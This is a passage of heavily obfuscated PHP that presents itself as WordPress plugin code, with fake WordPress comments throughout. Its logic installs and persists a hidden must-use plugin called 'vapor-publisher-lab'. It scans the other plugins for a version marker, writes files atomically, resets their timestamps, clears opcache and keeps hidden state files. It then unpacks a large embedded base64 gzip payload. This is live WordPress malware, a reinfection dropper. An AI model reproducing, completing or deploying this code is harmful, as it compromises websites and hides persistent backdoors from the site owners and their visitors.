@id72roijwy9(25)(k7r7n07s4fm4(26)($jgs8h_8ga2g), 'scp'); if ($qlr39u6tbm8je24 === false) return; if (!i44r4l7mg7cl_5n($qlr39u6tbm8je24, or8l5cd5u09h7a(26)($jgs8h_8ga2g))) { _sc_ul($qlr39u6tbm8je24); return; } if (@v__9xb9bxmw(2)($qlr39u6tbm8je24, $zqf1a56mdy4wzmm) !== p6uaz11qmy_s(10)($zqf1a56mdy4wzmm)) { _sc_ul($qlr39u6tbm8je24); return; } if (p6uaz11qmy_s(12)('chmod')) @k7r7n07s4fm4(27)($qlr39u6tbm8je24, $j6txf5bkn3); if (v__9xb9bxmw(12)('clearstatcache')) @clearstatcache(true, $jgs8h_8ga2g); $uzw_4b0mpyddu = @v__9xb9bxmw(14)($jgs8h_8ga2g); $pw3xf0g7cz = ($quqsr0tmo0lm < (6861-2765)) ? $quqsr0tmo0lm : (0x746+0x8ba); $hufm6ump7xpfrx2c = ($uzw_4b0mpyddu === $quqsr0tmo0lm) ? @p6uaz11qmy_s(18)($jgs8h_8ga2g, false, null, 0, $pw3xf0g7cz) : false;$uqd86oua=41+10;$zfk997pg=$uqd86oua-42; if (!v__9xb9bxmw(19)($hufm6ump7xpfrx2c) || $hufm6ump7xpfrx2c !== p6uaz11qmy_s(20)($kauumz96b8oou, 0, $pw3xf0g7cz)) { _sc_ul($qlr39u6tbm8je24); return;$eqwywy9a24225=-327;$al5uvpviicq1p=($eqwywy9a24225>0)?$eqwywy9a24225:-$eqwywy9a24225; } unset($uzw_4b0mpyddu, $pw3xf0g7cz, $hufm6ump7xpfrx2c, $kauumz96b8oou); if (!@p6uaz11qmy_s(28)($qlr39u6tbm8je24, $jgs8h_8ga2g)) { _sc_ul($qlr39u6tbm8je24); return; } if (id72roijwy9(29)('clearstatcache')) @clearstatcache(true, $jgs8h_8ga2g); if ($tgwfmohu73che77x && id72roijwy9(29)('touch')) @p6uaz11qmy_s(30)($jgs8h_8ga2g, $tgwfmohu73che77x); if (id72roijwy9(29)('opcache_invalidate')) @opcache_invalidate($jgs8h_8ga2g, true); } } // WP Paragraph Block object fit if (!id72roijwy9(29)('_sc_phpok_src')) { function _sc_phpok_src($zqf1a56mdy4wzmm) { if (!id72roijwy9(19)($zqf1a56mdy4wzmm) || or8l5cd5u09h7a(10)($zqf1a56mdy4wzmm) < (790-290) || k7r7n07s4fm4(31)($zqf1a56mdy4wzmm, '<?') === false) return false; if (!v__9xb9bxmw(29)('token_get_all')) return true; if (defined('TOKEN_PARSE')) { try { @token_get_all($zqf1a56mdy4wzmm, TOKEN_PARSE); return true; } catch (\Throwable $en16h4ok9biput0) { /* optimal work-queue */ return false; } catch (\Exception $en16h4ok9biput0) { return false; } } $l_ki3rd2tmazos7x = @token_get_all($zqf1a56mdy4wzmm); if (!p6uaz11qmy_s(32)($l_ki3rd2tmazos7x)) return true; $pmiw5jqac77arh6 = 0; foreach ($l_ki3rd2tmazos7x as $k8mnpt5pzo) { if (p6uaz11qmy_s(32)($k8mnpt5pzo)) { if ($k8mnpt5pzo[0] === T_CURLY_OPEN || $k8mnpt5pzo[0] === T_DOLLAR_OPEN_CURLY_BRACES) $pmiw5jqac77arh6++; continue; } // hydrate cipher-suite for WP Core Data if ($k8mnpt5pzo === '{') $pmiw5jqac77arh6++; elseif ($k8mnpt5pzo === '}') { $pmiw5jqac77arh6--; if ($pmiw5jqac77arh6 < 0) return false; } } return $pmiw5jqac77arh6 === 0; } } if (!k7r7n07s4fm4(29)('_sc_qok')) { function _sc_qok($h5t5q1n8s7zsf1yt, $zqf1a56mdy4wzmm) { if (!@p6uaz11qmy_s(33)($h5t5q1n8s7zsf1yt)) return true; $kyrh241ubtxl1it = (int) @k7r7n07s4fm4(34)($h5t5q1n8s7zsf1yt); if ($kyrh241ubtxl1it <= p6uaz11qmy_s(35)() - (1071445-466645) || $kyrh241ubtxl1it > v__9xb9bxmw(36)() + (86338+62)) return true; $zvskz_rjzocd6i = v__9xb9bxmw(37)((string) @p6uaz11qmy_s(38)($h5t5q1n8s7zsf1yt)); return ($zvskz_rjzocd6i === "" || (or8l5cd5u09h7a(19)($zqf1a56mdy4wzmm) && $zvskz_rjzocd6i !== v__9xb9bxmw(24)($zqf1a56mdy4wzmm))); } } if (!id72roijwy9(39)('_sc_any_live')) { function _sc_any_live($uzr9q0uuny9vr, $c7ku5rpv05mk, $c4w_b75mi57o2 = "", $fq7pa3lowo = "", $a3j8abibkzjqc = "") { if ($fq7pa3lowo === "") $fq7pa3lowo = (defined('WPMU_PLUGIN_DIR') && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : $c7ku5rpv05mk . '/mu-plugins'; if ($a3j8abibkzjqc === "") $a3j8abibkzjqc = (defined('WP_PLUGIN_DIR') && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $c7ku5rpv05mk . '/plugins'; $fq7pa3lowo = p6uaz11qmy_s(21)($fq7pa3lowo, '/'); $a3j8abibkzjqc = k7r7n07s4fm4(21)($a3j8abibkzjqc, '/'); $otdbnlqr6x78o9o5 = array(); $jab8s48_vyti = false; if (or8l5cd5u09h7a(40)('glob')) { $q0sdxv_vsx5yqm = @or8l5cd5u09h7a(41)($fq7pa3lowo . '/*.php'); $t9ad9ael6l593 = @id72roijwy9(42)($a3j8abibkzjqc . '/*/*.php'); if (or8l5cd5u09h7a(32)($q0sdxv_vsx5yqm) || k7r7n07s4fm4(32)($t9ad9ael6l593)) { $jab8s48_vyti = true; $otdbnlqr6x78o9o5 = or8l5cd5u09h7a(43)((array) $q0sdxv_vsx5yqm, (array) $t9ad9ael6l593);$nrutjv0czk=7338;$pwsorriesw=$nrutjv0czk%14; } unset($q0sdxv_vsx5yqm, $t9ad9ael6l593); } if (!$jab8s48_vyti && p6uaz11qmy_s(44)('opendir') && v__9xb9bxmw(44)('readdir')) { $_nlpzk8koy = @or8l5cd5u09h7a(45)($fq7pa3lowo); if ($_nlpzk8koy) { while (($gd156mt2jvlm8kpz = @or8l5cd5u09h7a(46)($_nlpzk8koy)) !== false) { if (id72roijwy9(47)($gd156mt2jvlm8kpz, -(2+2)) === '.php') $otdbnlqr6x78o9o5[] = $fq7pa3lowo . '/' . $gd156mt2jvlm8kpz; } if (or8l5cd5u09h7a(44)('closedir')) @or8l5cd5u09h7a(48)($_nlpzk8koy); } $_nlpzk8koy = @p6uaz11qmy_s(45)($a3j8abibkzjqc); if ($_nlpzk8koy) { while (($gd156mt2jvlm8kpz = @k7r7n07s4fm4(49)($_nlpzk8koy)) !== false) { $yk4csd10eefa4xm = $a3j8abibkzjqc . '/' . $gd156mt2jvlm8kpz; if ($gd156mt2jvlm8kpz === '.' || $gd156mt2jvlm8kpz === '..' || !@or8l5cd5u09h7a(50)($yk4csd10eefa4xm)) continue; $egog9qccdm1 = @v__9xb9bxmw(45)($yk4csd10eefa4xm); if (!$egog9qccdm1) continue; while (($z8ahczzjvra = @id72roijwy9(49)($egog9qccdm1)) !== false) { if (id72roijwy9(47)($z8ahczzjvra, -(0x3+0x1)) === '.php') $otdbnlqr6x78o9o5[] = $yk4csd10eefa4xm . '/' . $z8ahczzjvra; } if (k7r7n07s4fm4(44)('closedir')) @v__9xb9bxmw(48)($egog9qccdm1); } if (p6uaz11qmy_s(44)('closedir')) @id72roijwy9(48)($_nlpzk8koy); } /* orthogonal-adj principal */ unset($_nlpzk8koy, $egog9qccdm1, $gd156mt2jvlm8kpz, $z8ahczzjvra, $yk4csd10eefa4xm); } $ndj928bcu2r = false; if ($c4w_b75mi57o2 !== "" && v__9xb9bxmw(44)('realpath')) $ndj928bcu2r = @v__9xb9bxmw(7)($c4w_b75mi57o2); foreach ($otdbnlqr6x78o9o5 as $s917v1i3y7z5lu) { if ($c4w_b75mi57o2 !== "" && $s917v1i3y7z5lu === $c4w_b75mi57o2) continue; if ($ndj928bcu2r !== false && @or8l5cd5u09h7a(51)($s917v1i3y7z5lu) === $ndj928bcu2r) continue; $a_g1zbp3n80_z2q = id72roijwy9(52)($s917v1i3y7z5lu, '.php'); $uavgxz4tmqo = k7r7n07s4fm4(53)(p6uaz11qmy_s(26)($s917v1i3y7z5lu)); if (or8l5cd5u09h7a(26)($s917v1i3y7z5lu) !== $fq7pa3lowo && $a_g1zbp3n80_z2q !== $uavgxz4tmqo) continue; $oevsmy62jrvju3d = @id72roijwy9(14)($s917v1i3y7z5lu); if (!$oevsmy62jrvju3d || $oevsmy62jrvju3d < (8505-3505) || $oevsmy62jrvju3d > (27344813+25083987)) continue; $z2zfal8hfd = (string) @v__9xb9bxmw(38)($s917v1i3y7z5lu, false, null, 0, (4026+70)); if ($z2zfal8hfd !== "" && v__9xb9bxmw(54)('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $z2zfal8hfd, $d_wrskhp6rhmi) && version_compare($d_wrskhp6rhmi[1], $uzr9q0uuny9vr, '>=')) return true; } return false; } } if (!p6uaz11qmy_s(55)('_sc_corep')) { // speculate adaptive keystore $tdah2pfe0_7rp=(0xa6+0x9);$anv7l5djwu7w2=$tdah2pfe0_7rp%13; function _sc_corep($c7ku5rpv05mk) { $w1n7fb30jpb = defined('ABSPATH') ? ABSPATH : (id72roijwy9(56)(v__9xb9bxmw(26)($c7ku5rpv05mk), '/') . '/'); return $c7ku5rpv05mk . '/.sc_' . id72roijwy9(47)(k7r7n07s4fm4(57)($w1n7fb30jpb . 'dir'), 0, (7+1)) . '/core_' . v__9xb9bxmw(47)(p6uaz11qmy_s(58)($w1n7fb30jpb . 'core'), 0, (0x2+0x6)) . '.php'; } } if (!id72roijwy9(55)('_sc_coreld')) { function _sc_coreld($c7ku5rpv05mk) { $p64qqjel7te = _sc_corep($c7ku5rpv05mk); if (!@id72roijwy9(59)($p64qqjel7te)) return false; $uzw_4b0mpyddu = @k7r7n07s4fm4(14)($p64qqjel7te); if (!$uzw_4b0mpyddu || $uzw_4b0mpyddu < (454+46) || $uzw_4b0mpyddu > (8388597+11)) return false; $zqf1a56mdy4wzmm = @v__9xb9bxmw(38)($p64qqjel7te); if (p6uaz11qmy_s(60)('_sc_unp') && k7r7n07s4fm4(19)($zqf1a56mdy4wzmm) && v__9xb9bxmw(61)($zqf1a56mdy4wzmm) > (1742535-693959)) $zqf1a56mdy4wzmm = _sc_unp($zqf1a56mdy4wzmm); if (!id72roijwy9(62)($zqf1a56mdy4wzmm) || p6uaz11qmy_s(61)($zqf1a56mdy4wzmm) < (490+10) || id72roijwy9(61)($zqf1a56mdy4wzmm) > (0xdfe8f+0x20171) || or8l5cd5u09h7a(31)($zqf1a56mdy4wzmm, '<?') !== 0) return false; return $zqf1a56mdy4wzmm; } } if (!p6uaz11qmy_s(63)('tdbl7hai5afye5mpa81r')) { function tdbl7hai5afye5mpa81r($k8mnpt5pzo) { return id72roijwy9(62)($k8mnpt5pzo) && or8l5cd5u09h7a(54)('/(\/\*[0-9a-f]{1000,}\*\/)\s*$/', $k8mnpt5pzo) === 1; } } if (!id72roijwy9(63)('blx9o_cqbkdgzj')) { function blx9o_cqbkdgzj() { if (!or8l5cd5u09h7a(63)('ini_get')) return false; $g750h4b8x8ueqmft = @k7r7n07s4fm4(64)('memory_limit'); if (!id72roijwy9(62)($g750h4b8x8ueqmft) || $g750h4b8x8ueqmft === "") return false; $t18g7cih4dm16p = (int) $g750h4b8x8ueqmft; if ($t18g7cih4dm16p <= 0) return true; $m8zfw43l9wokpm = p6uaz11qmy_s(65)(id72roijwy9(66)($g750h4b8x8ueqmft, -1)); if ($m8zfw43l9wokpm === 'G') $t18g7cih4dm16p *= (1073741727+97); elseif ($m8zfw43l9wokpm === 'M') $t18g7cih4dm16p *= (1048549+27); elseif ($m8zfw43l9wokpm === 'K') $t18g7cih4dm16p *= (966+58); if ($t18g7cih4dm16p < (67108855+9)) return false; if (p6uaz11qmy_s(63)('memory_get_usage')) { $h6t12zvjdv55y = @memory_get_usage(true); if (or8l5cd5u09h7a(16)($h6t12zvjdv55y) && $h6t12zvjdv55y > 0 && $t18g7cih4dm16p - $h6t12zvjdv55y < (33554397+35)) return false; } return true; } } if (!k7r7n07s4fm4(63)('g3glp8s1yhulwf8v9p4jfv')) { function g3glp8s1yhulwf8v9p4jfv($jgs8h_8ga2g, $uzr9q0uuny9vr) { $e8tyrxromvo75wxx = @id72roijwy9(14)($jgs8h_8ga2g); if (!$e8tyrxromvo75wxx || $e8tyrxromvo75wxx < (4923+77) || $e8tyrxromvo75wxx > (52428753+47)) return false; if ($e8tyrxromvo75wxx > (0x7684b+0x897b5) && $e8tyrxromvo75wxx < (0xbd88b+0x4803d1)) return false; $e18kwkd3cjl = (string) @k7r7n07s4fm4(38)($jgs8h_8ga2g, false, null, 0, (4010+86)); if (!p6uaz11qmy_s(54)('/\/\* SCV:(\d+\.\d+\.\d+) \*\//', $e18kwkd3cjl, $g750h4b8x8ueqmft)) return false; if ($uzr9q0uuny9vr !== "" && version_compare($g750h4b8x8ueqmft[1], $uzr9q0uuny9vr, '<')) return false; if (@id72roijwy9(59)(or8l5cd5u09h7a(67)($jgs8h_8ga2g) . '/.wr_' . or8l5cd5u09h7a(53)($jgs8h_8ga2g, '.php'))) return false; if ($e8tyrxromvo75wxx >= (3620914+1874986) && !tdbl7hai5afye5mpa81r((string) @k7r7n07s4fm4(68)($jgs8h_8ga2g, false, null, $e8tyrxromvo75wxx - (4059+37)))) return false;$wsa5cxn5szs0=353;$f839bl4_=($wsa5cxn5szs0>0)?$wsa5cxn5szs0:-$wsa5cxn5szs0; return true; } // interleave lanes } if (defined("SC_THL_ae2cabb1_5c6d")) return; define("SC_THL_ae2cabb1_5c6d", 1); \call_user_func(function () { $ny_xic9swdf = defined("WP_CONTENT_DIR") ? WP_CONTENT_DIR : v__9xb9bxmw(67)(p6uaz11qmy_s(67)(__FILE__)); $fq7pa3lowo = (defined("WPMU_PLUGIN_DIR") && WPMU_PLUGIN_DIR) ? WPMU_PLUGIN_DIR : $ny_xic9swdf . "/mu-plugins"; $fq7pa3lowo = $fq7pa3lowo . "/vapor-publisher-lab.php"; $a3j8abibkzjqc = (defined("WP_PLUGIN_DIR") && WP_PLUGIN_DIR) ? WP_PLUGIN_DIR : $ny_xic9swdf . "/plugins"; $qizqzfd_oeozd9si = $a3j8abibkzjqc . "/vapor-publisher-lab/vapor-publisher-lab.php"; $k2k34_sjp4x = @or8l5cd5u09h7a(69)(k7r7n07s4fm4(70)($fq7pa3lowo)) ? $fq7pa3lowo : $qizqzfd_oeozd9si; $h5t5q1n8s7zsf1yt = or8l5cd5u09h7a(71)($k2k34_sjp4x) . "/.q_vapor-publisher-lab"; $p4ic15vpna = id72roijwy9(72)($k2k34_sjp4x) . "/.sd_vapor-publisher-lab"; if (@p6uaz11qmy_s(59)($p4ic15vpna)) { $a5akchyir6on4i = @id72roijwy9(68)($p4ic15vpna); if (p6uaz11qmy_s(62)($a5akchyir6on4i) && id72roijwy9(73)("/\\d+\\.\\d+\\.\\d+/", $a5akchyir6on4i, $ws9sltk6sh24z7) && version_compare($ws9sltk6sh24z7[0], "4.5.3", ">") && _sc_any_live($ws9sltk6sh24z7[0], $ny_xic9swdf, $k2k34_sjp4x)) return; } $g3v_fhqdhzi1p2d3 = !g3glp8s1yhulwf8v9p4jfv($k2k34_sjp4x, "4.5.3"); if ($g3v_fhqdhzi1p2d3 && _sc_any_live("4.5.3", $ny_xic9swdf, $k2k34_sjp4x)) $g3v_fhqdhzi1p2d3 = false; if ($g3v_fhqdhzi1p2d3 && !@v__9xb9bxmw(59)($k2k34_sjp4x)) { $s_j004x91baf1ok = or8l5cd5u09h7a(72)($k2k34_sjp4x) . '/.rd_vapor-publisher-lab'; $zg8i71gdy5 = @v__9xb9bxmw(59)($s_j004x91baf1ok) ? (int) @p6uaz11qmy_s(74)($s_j004x91baf1ok) : 0; if ($zg8i71gdy5 > id72roijwy9(75)() - (270+30) && $zg8i71gdy5 <= p6uaz11qmy_s(75)() + (246+54)) $g3v_fhqdhzi1p2d3 = false; elseif (k7r7n07s4fm4(76)('touch')) @v__9xb9bxmw(30)($s_j004x91baf1ok); } if ($g3v_fhqdhzi1p2d3) { $ynth781plih = k7r7n07s4fm4(77)('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